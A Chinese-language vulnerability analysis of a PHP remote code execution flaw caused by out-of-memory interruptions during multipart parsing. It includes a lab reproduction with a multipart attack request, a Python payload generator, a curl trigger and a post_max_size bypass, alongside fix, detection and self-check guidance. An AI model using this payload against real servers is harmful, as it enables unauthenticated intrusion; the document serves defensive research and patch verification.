实验说明: 本文涉及的 PoC、攻击流量和复现步骤均限于授权隔离靶场,用于漏洞研究与修复验证。请勿对未授权目标实施类似测试。
参考链接速查表
| CVE | Advisory URL | Commit URL | Download URL |
|---|---|---|---|
| CVE-2026-109618 | PHP 官方 GHSA(已验证 HTTP 200) | 主分支修复 commit(已验证 HTTP 200,commit message 含 "Fix GHSA-w8hw-w9fx-j79w (CVE-2026-109618)") | PHP 8.4.27 源码包(已验证 HTTP 200;8.2.35 / 8.3.36 / 8.5.12 同路径 tarball 均已验证 HTTP 200) |
补充:PHP 官方安全公告已验证 HTTP 200,正文含 CVE-2026-109618 与 GHSA-w8hw-w9fx-j79w;PHP 8.4 分支修复回移 commit已验证 HTTP 200,并经 GitHub compare API 确认包含于 php-8.4.27 tag。
1. 基本信息
- CVE 编号: CVE-2026-109618(对应 GitHub Security Advisory GHSA-w8hw-w9fx-j79w,PHP 官方定名 "RCE via OOM corruption")
- 披露日期: 2026-10-21(NVD 记录 published 时间 2026-10-21T14:17:09Z;php.net 安全公告日期 21 Oct 2026)
- CVSS 评分: 9.2 Critical,向量 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H(来源:GHSA-w8hw-w9fx-j79w 页面与 NVD CVE JSON,二者一致;该 9.2 分即挂在 CVE-2026-109618 名下)
- CWE: CWE-416 (Use After Free)、CWE-755 (Improper Handling of Exceptional Conditions)、CWE-824 (Access of Uninitialized Pointer)、CWE-1325 (Improperly Controlled Sequential Memory Allocation)、CWE-1419 (Incorrect Initialization of Resource)(来源:GHSA-w8hw-w9fx-j79w 页面 Weaknesses 栏)
- 发现方: Calif(lcfr-hax / Ryan Austin)、OpenAI(amyb-oai,Patch the Planet 计划)、Wiz Research(sagitzadik-wiz 等);修复开发者 Arnaud Le Blanc、Ilija Tovilo、Jakub Zelenka、Nora Dossche(GitHub 账号 ndossche;署名以修复 commit 3584a98b 的 GitHub API 返回 Co-authored-by 行 "Nora Dossche" 为准,GHSA 页面 Credits 栏仅列账号 ndossche 未给显示名)
- 姊妹漏洞: CVE-2026-109619(GHSA-6wmf-4rv5-p3rp,PHP 官方定名 "RCE via stale global state"),与本 CVE 同属 PHP October 2026 Security Release,由同一修复 commit 一并修复,本文不展开。
- 受影响版本(精确范围,来源:NVD CVE JSON affected 字段与 GHSA 页面,二者一致):
- PHP 8.2.x 全系列 < 8.2.35
- PHP 8.3.x 全系列 < 8.3.36
- PHP 8.4.x 全系列 < 8.4.27
- PHP 8.5.x 全系列 < 8.5.12
- 修复版本:8.2.35 / 8.3.36 / 8.4.27 / 8.5.12(2026-10-21 发布)
- PHP 8.1 及更早版本已 EOL,PHP 官方不再发布更新;PHP 官方为 PHP 7.4 / 8.0 / 8.1 提供了最小化源码回移补丁分支(见修复方案)。calif.io 源码分析指出,其中一类已确认的可利用代码路径(
_zend_hash_str_add_or_update_i桶计数缺陷)自 PHP 7.3 起存在,整个漏洞家族的部分路径可追溯至 PHP 5.4.0(该追溯为 calif.io 单方源码分析结论,可信度分级见第 10 节)。
- 受影响 SAPI: Apache mod_php 已被官方确认可被未授权远程利用(来源:GHSA-w8hw-w9fx-j79w "Susceptibility" 节);php.net 公告称所有对外提供 Web 请求的 PHP 部署均有风险,包括 PHP-FPM、mod_php、php-cgi、FrankenPHP、LiteSpeed,其中 mod_php 风险最高。
- 本地实测状态: 已于 2026-10-22 在 Kali(Docker php:8.5.11-apache 官方 pin 镜像 + Apache mod_php prefork)完成 Chain A(OOM bailout stale bucket 链)端到端 Lab-Assisted 实测复现(run_id 20261022T013356Z,Phase 3c 实地验证 PASS);实测边界与证据位置见第 5、9、10 节。
2. 漏洞描述
PHP 是一种广泛使用的开源服务器端脚本语言,为 WordPress、Joomla、Drupal、MediaWiki 等大量 Web 应用提供运行环境,是互联网服务端基础设施的核心组件之一。
PHP 在处理请求时若内存分配超出 memory_limit,会通过 longjmp() 提前跳出当前上下文并中止请求,而某些原生代码路径(如请求变量自动注册阶段的哈希表插入)在被中断时仅完成了部分初始化,随后的请求清理流程会把这些处于非法状态的内存当作有效数据读取和处理;攻击者可通过构造特定 multipart 表单请求在默认配置下稳定触发可控的内存耗尽中断,在 Apache mod_php 部署中该请求清理流程会被无条件执行,从而使攻击者无需任何认证即可破坏 PHP worker 进程内存并实现远程代码执行,成功利用可获得 Web worker 账户权限,进而控制受影响服务器。机制细节来源:GHSA-w8hw-w9fx-j79w Summary 与修复 commit diff;具体代码路径分析来源:calif.io/php2shell 原文。
3. 漏洞分析
攻击路径: 远程攻击者向目标站点任意 PHP 端点发送特制的 multipart/form-data POST 请求。攻击载荷在 PHP 的请求启动阶段(php_request_startup() 内部的自动请求体解析,即 rfc1867_post_handler() / php_std_post_handler() → php_register_variable_ex())即被消费,不需要目标应用本身处理上传或读取该请求体——攻击发生在任何应用代码执行之前(来源:calif.io 原文 "Both paths execute during php_request_startup(), before the target PHP file runs";GHSA "This happens entirely before any application-specific code begins execution")。
适用系统: Cross-platform(PHP 支持的全部操作系统;修复 commit 中同时含 Windows 相关代码路径,Linux/Windows 均受影响)。
外联需求: No(攻击仅需向目标 PHP 服务发送 HTTP 请求,不需要目标外联)。
漏洞位置(来源:修复 commit 3584a98 diff 中出现的文件 + calif.io 源码分析):
main/rfc1867.c—— multipart/form-data 解析器(rfc1867_post_handler()),为攻击者可控的内存压力主要注入面。main/php_variables.c—— 请求变量注册(php_register_variable_ex()),嵌套字段名递归建表路径。Zend/zend_hash.c—— 哈希表插入_zend_hash_str_add_or_update_i(),calif.io 指出的代表性"先计数、后分配键"缺陷点。Zend/zend_alloc.c—— Zend 内存管理器,漏洞机制的核心:OOM 时经zend_mm_safe_error()走zend_bailout()(longjmp)提前退出。
根因(分层说明):
- 触发层(攻击者可控的 OOM,来源:GHSA "OOM strategies" 节 + calif.io): PHP 在自动 POST 解析前用声明的 Content-Length 与 post_max_size 比较,但不对实际消费的字节数执行同一限制——chunked HTTP/1.1 或无长度的 HTTP/2 multipart 请求可绕过 post_max_size 门槛(来源:calif.io;修复后
rfc1867.cfill_buffer()新增按已读字节SG(read_post_bytes)对 post_max_size 的强制校验,见 diff)。此外,空文件控件(filename="")不计入 max_file_uploads 却仍生成$_FILES六项元数据数组,配合嵌套字段名(如files[a][b][c]...)可使 8MB 以下的请求体消耗超过默认 128MB 的 PHP 堆内存(来源:calif.io 原文)。multipart 头部数量不受限也是 GHSA 列出的 OOM 策略之一。 - 缺陷层(部分初始化状态被信任,来源:calif.io 源码分析): 以
_zend_hash_str_add_or_update_i为例,PHP 先递增nNumUsed与nNumOfElements,随后才为桶的 key 分配内存;若 key 分配时发生 OOM fatal,nNumUsed已增大,该桶对 teardown 可见,但 key/hash/zval 赋值从未执行。请求清理阶段zend_array_destroy()按nNumUsed遍历销毁桶,即把陈旧的分配字节当作存活桶消费。calif.io 将此类模式概括为"发布/销毁状态 → 执行可失败操作 → 初始化/提交/恢复"被 nonlocal fatal 打断。 - 消费层(SAPI 差异,来源:GHSA "Susceptibility" 节 + calif.io): Apache mod_php 的
php_apache_request_dtor()无条件调用php_request_shutdown(NULL),即使请求启动已失败,恶意构造的畸形表会被 teardown 消费——这构成对 mod_php、PHP >= 7.3、任意 PHP 脚本的 RCE(来源:calif.io 原文结论)。PHP-FPM 在请求启动失败时直接退出 worker(php_module_shutdown()后return FPM_EXIT_SOFTWARE,引自 calif.io 对fpm_main.c:1826的分析),启动阶段路径不可被后续请求消费;但启动成功后的普通 fatal 走正常请求关闭路径,worker 存活,GHSA 明确写明"源码分析支持 FPM 同样易受影响,但尚未演示出该 SAPI 的完整 exploit"。GHSA 同时指出:FrankenPHP 与 mod_php 类似地无条件执行请求关闭,很可能易受应用无关的攻击(源码分析结论);LSAPI 行为类似 FPM,应用相关 exploit 可能存在但未验证。
已确认影响(来源:GHSA "Impact and reliability" 节): 未授权远程代码执行,权限为 Web worker 账户;已在默认 PHP 输入与内存限制、正常 prefork 多 worker 配置下通过 HTTP 对 mod_php 完整验证。worker 数量多、存在无关流量会增加所需尝试次数但不消除漏洞条件。Wiz 原文称其将本漏洞与姊妹漏洞组合为 php2shell exploit 脚本,在 WordPress/Drupal/Joomla 最新容器镜像上演示了未授权 RCE,并单独演示了应用无关的 PHP worker 内存泄露(含密码、token、API key);注意 Wiz 博客的 CVE 归属表与 PHP 官方 GHSA 的 CVE 划分口径存在差异(可信度分级见第 10 节)。
4. 漏洞利用前提
| 前提维度 | 内容 | 可信度 |
|---|---|---|
| 攻击者位置 | 网络可达攻击者,向目标任意 PHP 端点发送 HTTP multipart/form-data POST 请求(无需应用处理上传,请求体在应用代码执行前的启动阶段即被解析) | [已确认](来源:GHSA + calif.io) |
| 前置权限或认证 | 无。GHSA 确认影响为"未授权远程代码执行";CVSS PR:N/UI:N | [已确认](来源:GHSA/NVD) |
| 组件配置前提 | 默认配置即可:默认 memory_limit(128M)、默认 post_max_size(8M)、允许 multipart 请求。calif.io 原文称"可利用路径依 PHP 版本与 SAPI 不同,但默认配置下总是可利用" | [已确认](来源:GHSA "default PHP input and memory limits" + calif.io) |
| 目标环境条件 | mod_php(Apache prefork 等)为已完整验证的可利用环境;PHP-FPM 启动阶段路径因有 worker 退出保护而不可用,但启动后路径源码层面易感(GHSA 措辞:susceptible though no complete FPM exploit has been demonstrated);FrankenPHP 很可能易感(源码分析推断);exploit 可移植性依赖 PHP 构建、扩展、前端行为与分配器布局 | [已确认/推断混合,按 GHSA 原文措辞区分] |
5. 漏洞复现
实测状态块:
| 实测状态 | verdict 文件 | 证据位置 | 备注 |
|---|---|---|---|
| 已实测复现(Lab-Assisted RCE) | VERDICT-chainA.json / VERDICT.json(20 个 gate 键全 true;仓库文档旧表述 "21/21 gates" 与 artifact 不符,实地复核为 20 键,已强制修订为 20/20,证据本身有效) | Kali ~/vul/by-cve/CVE-2026-10961x/(封存单 runs/20261022T013356Z/ 共 133 文件 + logs/chainA-* 13 件;sha256sum -c 132/132 全部 OK;verify_run.py 复验 verdict "Proven - Lab-Assisted RCE") | run_id 20261022T013356Z,2026-10-22 在 Kali 完成 Chain A 三段 ladder 端到端实测;Phase 3c 反自欺实地验证第二轮 PASS(D:\X\CVE-2026-109618_verify.md);边界如实:gdb 供代际地址校准 + 非默认 allocator(USE_ZEND_ALLOC=0 / USE_TRACKED_ALLOC=1),非 portable 利用 |
公开 PoC 检索结论(来源:实际检索): Calif/Wiz/OpenAI 均未公开 exploit 代码——calif.io 原文仅称于 2026-08-14 私下向 PHP 团队提交了 RCE PoC,公开材料为演示视频。GitHub 上 2026-10-21 当日出现多个自称 php2shell PoC 的仓库(如 ikow/php2shell-poc、eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC),其描述的利用链(session 文件注入 + LFI、handler mismatch 等)与 GHSA/calif.io 披露的 OOM 中断机制明显不一致,可信度存疑,本文不将其作为有效 PoC 引用。exploit-db 检索无对应条目。
第三方复现仓库(Chain A 已于 2026-10-22 在 Kali 本地实测复现,Lab-Assisted;CVE 归属仍为推断): GitHub 仓库 dinosn/php-cve-2026-10961x-lab-poc(README 与实际收据文件已抓取阅读)自称是针对 PHP 8.5.11 + Apache mod_php 的"embargoed reproduction package",含两条链:Chain A(stale bucket——OOM bailout 留下已发布未初始化的 HashTable 桶,shutdown 将其作为假 zval 消费至 pDestructor,与本 CVE 官方"RCE via OOM corruption"机制及 calif.io 的桶缺陷分析在机制层面一致)与 Chain B(dangling reference——pre-RINIT OOM 使 PS(http_session_vars) 持有悬空 zend_reference,与 PHP 官方归属 CVE-2026-109619 的 stale global state 机制一致)。引用时必须注意以下限定(均来自该仓库 README 自述):
- 该仓库 README 明确自我声明:"does NOT prove ... authenticity of the claimed CVE-2026-109618/CVE-2026-109619 assignments or of any unpublished fixed-version list"——即其两条链与 CVE 编号的对应关系未经官方确认,本文只能按其机制与官方口径的吻合度做推断性标注(Chain A↔109618 机制、Chain B↔109619 机制均为本文推断,非官方归属)。
- 仓库创建于 2026-10-20(公开披露前一天)且为聚合账号 dinosn 名下,非披露方(Calif/OpenAI/Wiz)发布,来源链存疑;其 README 自述的收据中,Chain A 相关部分已于 2026-10-22 经本文本地实测复核成立(见上方实测状态块与下文实测流程);Chain B 相关收据(如 ninebie/evidence/fire_zif_nogdb.out 中声称的 uid=33(www-data) 执行回显)按机制归属 CVE-2026-109619,按证据隔离原则不在本文引用。
- README 自述边界:Chain A 依赖非默认 allocator(USE_ZEND_ALLOC=0)且每个 Apache 父进程代际需要 gdb 校准;Chain B 的 fire 虽自称无调试器,但攻击请求体仍内嵌来自实验机 /proc 的地址,作者自认"not evidence of a portable ASLR-independent exploit or universal PHP deployment impact";其自称的 8.5.12 负对照也仅属第三方声称,受影响/修复版本仍以 php.net 官方公告为准。
- 佐证性交叉印证(diff 证据):修复 commit 在 ext/standard/basic_functions.c 新增 php_basic_early_rinit(),于请求启动最早期将 BG(serialize) 与 BG(unserialize) 清零,diff 注释明确说明原因是"session upload progress handler 在 RINIT 之前即从 php_hash_environment() (un)serializes the session(序列化/反序列化)"——与 Chain B 及该仓库自称验证的"pre-RINIT 阶段 BG(serialize) 跨请求 UAF"模式方向一致;但该路径按 php.net 官方缓解口径归属 CVE-2026-109619,与本文 CVE 的边界见第 10 节。
另一第三方声称的复现仓库(未经本地实测,归属未确认): GitHub 仓库 iQingshan/php2shell(GitHub API 核验:created_at=2026-10-21T09:29:10Z、15 stars)含 Dockerfile(php:8.5-apache prefork)、remote_app.php(含 CachedData implements Serializable 应用侧 gadget 类与 unserialize($_POST['cook']))、php8_remote.py(约 44KB,自称 unserialize var_hash UAF 链:9 属性插入触发 arData 8→16 resize 使 var_hash 被 efree,经 R-1 heap leak 至 R-7 trigger)与 php2shell_exp.py CLI。引用时必须注意以下限定:该仓库需要部署其自带的 remote_app.php(含应用侧 gadget 类 CachedData),依赖应用直接 unserialize 用户输入,与官方描述的"stock WordPress/Drupal/Joomla 认证前 RCE"场景不同;其 var_hash resize UAF 原语与本 CVE 的归属关系未经官方确认;本文未在本地运行该仓库代码实测,仅作参考列出(H-011/H-030/H-035)。安全告警:不建议直接运行未审计的第三方 exploit 代码。
以下为 2026-10-22 Kali 实测复现记录(Lab-Assisted 边界如实标注;攻击报文块按实测封存日志重建,字节数实算,非理论样本)。
攻击原理: 攻击分两步。第一步,攻击者发送一个声明长度合规(或无声明长度)但实际内存消耗巨大的 multipart 请求,使 PHP 在请求启动阶段自动解析请求体、注册 $_POST/$_FILES 变量时,某次内存分配恰好越过 memory_limit 触发 OOM fatal;此时哈希表插入等原生路径被 longjmp 打断,留下计数已增但内容未初始化的部分初始化桶。第二步,mod_php 对该失败请求无条件执行 php_request_shutdown(),teardown 流程按被污染的计数消费畸形表,产生内存破坏;攻击者通过重复请求配合堆布局控制(heap grooming)可将破坏原语发展为 RCE。内存耗尽点可被攻击者精确控制是该漏洞可利用的关键(来源:calif.io 原文对 _zend_hash_str_add_or_update_i 与 multipart 内存放大机制的分析;SAPI 消费行为来自 GHSA 与 calif.io 对 sapi_apache2.c/fpm_main.c 的源码引用)。
目标版本(实测): PHP 8.5.11(∈ 受影响范围 < 8.5.12),Apache mod_php(mpm_prefork),php:8.5.11-apache 官方 pin 镜像。
实测环境:
- 攻击机/取证机:Kali Linux(SSH 桥取证,Phase 3c 第二轮实地复核 PASS)。
- 靶机容器:Docker 专用容器 php-10961x-poc-8511。
- 镜像:php@sha256:974e3a920309308e1690ed607e6cc3061d6906f90cc8d30fe519daa48bccf101(php:8.5.11-apache 官方 pin;docker inspect 与封存单 environment.json / image-version-victim.log 三处记录逐字符一致)。
- PHP:8.5.11(NTS,docker-library 官方构建);SAPI:apache2handler(mod_php,prefork 多 worker)。
- 配置:memory_limit=16M(lab 收紧以稳定复现窗口),post_max_size=8M 等其余默认。
- 前提(如实保留,Lab-Assisted 边界):USE_ZEND_ALLOC=0 + USE_TRACKED_ALLOC=1(非默认 allocator);宿主机 GDB 提供 Apache 父进程代际地址校准。
- 时间:容器 StartedAt 2026-10-22T01:30:31Z,早于 run(run_id 20261022T013356Z,01:33:56Z 起),非事后补建。
环境搭建(实测命令,来自 dinosn 仓库 lab-up.sh 编排;容器 env、镜像 digest、bind-mount 均经 docker inspect 实地核对):
# 拉取官方 pin 镜像
docker pull php@sha256:974e3a920309308e1690ed607e6cc3061d6906f90cc8d30fe519daa48bccf101
# 起靶机容器(lab.ini 实测 memory_limit=16M;health marker PHP_RFC1867_RCE_LAB_V1;bind-mount 均只读)
docker run -d --name php-10961x-poc-8511 \
-e USE_ZEND_ALLOC=0 -e USE_TRACKED_ALLOC=1 \
-v "$PWD/lab.ini:/usr/local/etc/php/conf.d/lab.ini:ro" \
-v "$PWD/mpm_prefork.conf:/etc/apache2/mods-enabled/mpm_prefork.conf:ro" \
-v "$PWD/app/public:/var/www/html:ro" \
php@sha256:974e3a920309308e1690ed607e6cc3061d6906f90cc8d30fe519daa48bccf101
# 环境自检(实测输出:PHP 8.5.11 / apache2handler / memory_limit=16M)
docker exec php-10961x-poc-8511 php -v
docker exec php-10961x-poc-8511 php -r 'echo php_sapi_name()," mem:",ini_get("memory_limit"),"\n";'
实测攻击流程(Chain A ladder:calibration → negative → abort → marker):
- 代际校准(calibration,Lab-Assisted 边界所在): 宿主机 gdb attach Apache 父进程,经 calibration series(封存单 runs/calibration-series-20261022T013222Z/SUMMARY.json,12 次尝试槽位均为 0x…3f0)确定当前代际 stale bucket 槽位地址。首跑 run1 曾失败——logs/chainA-reproduce-run1.out 实测记录 "reproduction failed: observed incompatible slot geometry: ['0x56143d5d03c0', '0x56143d5d03f0']",换 calibrate_series 方案后复跑通过。
- negative 对照: 发送相同结构载荷但不对齐槽位。实测观察:worker 存活(SUMMARY.json:worker_before==worker_after=30497),容器内 /tmp/php-rce-lab 不存在(marker-after.json present=false)——未命中即无任何副作用。
- abort 控制: 将 pDestructor 指向 abort@plt。实测观察(cases/abort/attempt-02/gdb.log):"LAB-DTOR TARGET=0x7fa5de78ab90 EXPECTED=0x7fa5de78ab90 VERDICT=MATCH"(LIBPHP=0x7fa5de600000,偏移 0x18ab90 与 harness 常量 OFF_ABORT_PLT 一致),随后 Program received signal SIGABRT ×3;worker 31306→31479 被替换,marker-after 仍 absent——控制流劫持点精确命中且无命令执行副作用。
- marker run(RCE 演示): 同一原语将 pDestructor 指向 libc system,命令经 RDI=0x56143d5d2440 传入,gdb.log 中 BUCKET 十六进制实地解码为
printf RCE_20261022T013356Z >/tmp/php-rce-lab。system 地址经独立复算:容器内 nm -D libc.so.6 得 system@@GLIBC_2.2.5 偏移 0x53090,/proc/1/maps libc base 0x7fa5e30f2000,二者相加 0x7fa5e3145090 与 LAB-DTOR TARGET 逐位相等。实测观察:marker attempt-01 一发通过,worker 32369→32698;容器内 /tmp/php-rce-lab 实地存在,内容 RCE_20261022T013356Z,属主 www-data:www-data(20 字节),mtime 2026-10-22 01:34:33.909 UTC 与 marker case started_at(01:34:33Z)同秒——当次攻击写入,非预埋残留。marker run 后 SIGSEGV(system 返回落到垃圾栈)在 gdb.log 中如实记录,未隐藏。
攻击请求报文(来源:按 dinosn 仓库 Chain A phase A 实测载荷结构自封存日志重建;Content-Length 为 python len() 实算值,非臆造):
phase A 为 Content-Length 变体(Phase 4 实测中被 post_max_size=8M 拒解析的即此变体;chunked 无长度变体见第 9 节绕过矩阵实测结论):
POST /index.php HTTP/1.1
Host: [靶机IP]
Content-Type: multipart/form-data; boundary=----PHPOOM
Content-Length: 16999
------PHPOOM
Content-Disposition: form-data; name="f[k0][a1][a2][a3][a4][a5][a6][a7][a8][a9]"; filename=""
Content-Type: application/octet-stream
------PHPOOM
Content-Disposition: form-data; name="f[k1][a1][a2][a3][a4][a5][a6][a7][a8][a9]"; filename=""
Content-Type: application/octet-stream
......(共 111 个同构 part,单 part 153 字节实算;111 parts + 收尾边界 = 16999 字节)
------PHPOOM--
载荷说明:单 part 仅 153 字节,但每个空文件控件(filename="",不计入 max_file_uploads)生成 $_FILES 六项元数据数组,配合 10 层嵌套字段名递归建表,PHP 堆消耗被数量级放大——memory_limit=16M 的 lab 环境下 111 parts 即可稳定进入 OOM 窗口(phase B 大载荷变体为 291 parts / 44539 字节实算,用于缓解实测)。OOM 恰落在哈希表 "计数已增、键未分配" 窗口时留下 stale bucket,由 mod_php 无条件 teardown 消费至 pDestructor。
成功判据(全部实测命中): worker 被替换 + gdb LAB-DTOR VERDICT=MATCH + marker 文件以 www-data 属主在场且 marker-before absent。完整性核验:sha256sum -c 132/132 全部 OK;verify_run.py 复跑输出 "verified 132 files / verdict: Proven - Lab-Assisted RCE"。
可独立复现的验证命令(实测版):
阶段一 · 认证阶段: 无(认证前漏洞,无需 session/token——攻击载荷在 PHP 请求启动阶段的自动请求体解析中即被消费,先于任何应用认证逻辑执行,来源:GHSA "before any application-specific code begins execution")。
阶段二 · 生成载荷并发送(与实测 phase A 结构一致):
# 前置:生成 payload.bin(111 个空文件控件 + 10 层嵌套字段名;16M 堆实测环境用 111 parts)
python - <<'EOF'
boundary = "----PHPOOM"
part = (f'--{boundary}\r\nContent-Disposition: form-data; '
f'name="f[{{}}][a1][a2][a3][a4][a5][a6][a7][a8][a9]"; filename=""\r\n'
f'Content-Type: application/octet-stream\r\n\r\n\r\n')
body = "".join(part.format(f"k{i}") for i in range(111)) + f"--{boundary}--\r\n"
open("payload.bin", "wb").write(body.encode())
print("payload.bin bytes:", len(body)) # 实算输出 16999
EOF
# 发送攻击(Content-Length 变体;chunked 变体把头部换成 -H "Transfer-Encoding: chunked" 即可,
# 该变体实测可绕过 post_max_size 前置校验,见第 9 节实测结论)
curl -v -X POST -H "Content-Type: multipart/form-data; boundary=----PHPOOM" \
--data-binary @payload.bin http://[靶机IP]/index.php
阶段三 · 验证结果(靶机侧):
# 内存耗尽 fatal 记录(实测在场)
grep "Allowed memory size of" /var/log/apache2/error.log | tail
# Lab-Assisted marker 演示的实物核验(www-data 属主 = Web worker 写入,非宿主机伪造)
ls -l /tmp/php-rce-lab && cat /tmp/php-rce-lab
边界声明(如实): 无 gdb 代际校准与非默认 tracked allocator 时,同一载荷仅稳定达到 worker OOM 崩溃级别;完整的 pDestructor → libc system 跳转依赖上述 Lab-Assisted 前提,非 portable/ASLR 无关利用,禁止据此表述为默认配置一键 RCE。GHSA 关于默认配置可利用的官方结论有其自身验证依据,与本实测的 lab 边界分属两个层面,本文分开表述、不互相推导。
实测验证记录:
- 测试时间:2026-10-22 01:33:56Z 起(run_id 20261022T013356Z);Phase 3c 第二轮实地复核 2026-10-22 01:41-01:50 UTC。
- 验证方式:Phase 3b 实测执行(Kali Docker,dinosn 仓库 lab-up.sh + reproduce.py)→ Phase 3c 反自欺实地验证(不读文档只取证:docker inspect 镜像 digest 与 env、gdb.log 逐条复核、nm + /proc/1/maps 独立复算 system 地址、sha256sum -c 132/132、verify_run.py 复跑、容器内 marker 实物在场核验)→ 判定 PASS(红旗一条:仓库文档 "21/21 gates" 计数与 artifact 不符,VERDICT.json 实测 20 个 gate 键全 true,已强制修订为 20/20,证据本身有效)。
- 证据位置:Kali ~/vul/by-cve/CVE-2026-10961x/(封存单 runs/20261022T013356Z/ 共 133 文件 + logs/chainA-* 13 件);验证报告 D:\X\CVE-2026-109618_verify.md。
行为对照: 修复版本(>= 8.2.35/8.3.36/8.4.27/8.5.12)下,同一请求在软内存限制处进入延迟 OOM 路径(ZEND_OOM_STATE_PENDING,于 VM 安全点优雅中止,见 diff 中 zend_mm_check_limit()/zend_mm_delayed_error()),teardown 不再消费非法状态;超过硬上限则进程直接 _exit(137)(zend_mm_hard_limit_error()),两种路径均不产生内存破坏。
6. 修复方案
官方修复(唯一完整缓解,来源:GHSA-w8hw-w9fx-j79w "Warning" 节): 升级到包含修复的 PHP 版本:
- PHP 8.5 用户:升级到 8.5.12;PHP 8.4:升级到 8.4.27;PHP 8.3:升级到 8.3.36;PHP 8.2:升级到 8.2.35。
- 源码安装:下载对应 tarball 后按原有编译参数重新编译安装:
wget https://www.php.net/distributions/php-8.4.27.tar.gz tar xzf php-8.4.27.tar.gz && cd php-8.4.27 ./configure [沿用原 configure 参数,可用 php -i | grep "Configure Command" 查看] make -j$(nproc) && make install # 重启 Web 服务 systemctl restart apache2 # mod_php systemctl restart php8.4-fpm # PHP-FPM - Windows:从 PHP for Windows 下载页获取对应版本的 Windows 构建。
- Linux 发行版与 LTS 厂商已提前获得补丁(来源:php.net 公告),优先检查发行版仓库更新:
apt-get update && apt-get install --only-upgrade php8.4(具体包名以发行版为准)。 - Docker 用户:待官方镜像更新后
docker pull php:8.4.27-apache && docker compose up -d(镜像 tag 可用性以 Docker Hub 实际为准)。
修复机制(来源:commit 3584a98bda0f2c0d367255b046798b0d3a221a19 diff,389 个文件): 核心变更在 Zend/zend_alloc.c——移除 OOM 时的 zend_mm_safe_error()→zend_bailout()(longjmp)路径,改为 zend_mm_check_limit():越过软限制时通过 zend_mm_delayed_error() 记录 EG(delayed_oom) 并置位 EG(vm_interrupt),在下一个 VM 安全点优雅中止;越过更高硬上限时由 zend_mm_hard_limit_error() 直接 _exit(137)。配套改动包括:全代码库新增可失败分配变体(zend_hash_fupdate、array_finit_size_mixed、zend_string_falloc、safe_ferealloc 等)并在各解析路径检查 ZEND_HAS_OOM();main/rfc1867.c 新增按实际已读字节强制 post_max_size、只保留 Content-Disposition/Content-Type 两类 multipart 头、大量 OOM 早退分支;main/main.c 请求关闭时将 PG(http_globals) 置 UNDEF、重置 PG(modules_activated)、新增 php_basic_early_rinit() 与 ini 项 memory_hard_limit_percent。GHSA 原文结论:"补丁移除了 OOM 的 longjmp(),shutdown 流程将不再看到非法状态。"
EOL 版本: PHP 8.1 及更早版本无官方更新包;PHP 官方提供最小化源码回移补丁分支(来源:php.net 公告):PHP 7.4 回移分支、PHP 8.0 回移分支、PHP 8.1 回移分支。
参考链接:
- 安全公告:PHP 官方 GHSA
- PHP 官方发布说明:PHP October 2026 Security Release
- 修复 commit(master,message 明确 "Fix GHSA-w8hw-w9fx-j79w (CVE-2026-109618)"):3584a98b
- 修复回移 commit(PHP-8.4 分支,已确认包含于
php-8.4.27tag):506e87fa - 修复版下载(示例 8.4.27,其余版本同路径替换版本号):php-8.4.27.tar.gz
7. 攻击调查
该漏洞执行于应用层之下,应用日志可能几乎不含上下文(来源:Wiz 原文措辞)。建议从以下层面排查:
日志检查:
- Apache 错误日志(默认路径
/var/log/apache2/error.log或/var/log/httpd/error_log),搜索内存耗尽 fatal 与子进程崩溃的相邻记录:
Wiz 原文建议关注"异常 multipart 请求之后跟随 memory-limit 错误或重复 HTTP 500 响应"。grep "Allowed memory size of" /var/log/apache2/error.log grep -E "child pid [0-9]+ (exit signal Segmentation fault|exit signal 11|dumped core)" /var/log/apache2/error.log - Apache 访问日志,检索 multipart POST 请求,关注 multipart 请求频率异常增多、集中在少数来源 IP 的记录:
注意:默认访问日志不记录 Transfer-Encoding 与请求体,排查 chunked 无长度 multipart 需在 LogFormat 中增加grep "multipart/form-data" /var/log/apache2/access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head%{Transfer-Encoding}i或启用 mod_log_forensic 后重新观察。 - PHP-FPM 环境(源码层面亦可能受影响):检查 FPM 错误日志(默认
/var/log/php*-fpm.log或 pool 配置的 error_log)中 worker 异常退出("child ... exited with code")频率是否异常增多,以及 slow log 中是否存在 multipart 解析期间的高内存记录。
流量检查:
- 镜像/回溯 HTTP 流量,检索
Content-Type: multipart/form-data且同时具有Transfer-Encoding: chunked(或无 Content-Length)的 POST 请求——这是 GHSA 与 calif.io 确认的 post_max_size 绕过手法。Zeek 可通过 http.log 观察缺失 content-length 的 multipart POST;Suricata 侧因无公开 exploit 特征,目前只能做此类流量基线分析,不存在可精确匹配 exploit 的签名。 - 关注单请求内 multipart part 数量异常多于正常业务表单的 POST(正常表单通常只有个位数 part;内存放大攻击需要数百个 part,来源:calif.io "Hundreds of these records"),以及字段名嵌套深度异常的 multipart 请求(如
name="f[a][b][c][d]..."深层嵌套)。
利用后痕迹检查:
- 检查 Web 根目录及可写目录下是否存在 Web worker 账户(如 www-data/apache)新建的可执行 PHP 文件:
find /var/www -name "*.php" -newer /var/log/apache2/error.log -user www-data -ls - 检查是否存在以 Web worker 账户运行的异常进程与子进程(mod_php RCE 所获权限即 Web worker 账户,来源:GHSA "as the web worker account"):
ps -u www-data -o pid,ppid,cmd | grep -vE "apache2|httpd" - 检查 Apache 子进程是否出现频繁重启/churn(定性观察,Wiz 原文将 "unexplained PHP worker churn" 列为调查信号)。
8. 自查方法
版本检查:
php -v
# 或
php -r 'echo PHP_VERSION, "\n";'
若输出低于 8.2.35(8.2 线)/ 8.3.36(8.3 线)/ 8.4.27(8.4 线)/ 8.5.12(8.5 线),或主版本为 8.1 及更早(EOL,无官方修复包),则受影响。示例输出 PHP 8.4.26 (cli) 表示 8.4 线受影响,需要升级。
SAPI 检查(判断是否处于已确认可利用的 mod_php 形态):
php -i | grep "Server API"
# 输出 "Server API => Command Line Interface" 仅为 CLI 检查入口;
# 对 Web 环境,创建临时 phpinfo 页面或执行:
# apache2ctl -M | grep php # 出现 php_module 即为 mod_php
php --ini # 查看 php.ini 路径,随后检查 memory_limit/post_max_size:
grep -E "^(memory_limit|post_max_size|max_file_uploads|upload_max_filesize)" /etc/php/8.4/apache2/php.ini
暴露面自查: 若目标对外提供任意 PHP 页面且运行 mod_php(Apache 2.0 Handler),即视为处于已确认可利用暴露面(来源:php.net 公告 "We consider the risk highest for mod_php")。PHP-FPM/php-cgi/FrankenPHP/LiteSpeed 部署按官方公告同样视为有风险(来源:php.net 公告原文枚举)。
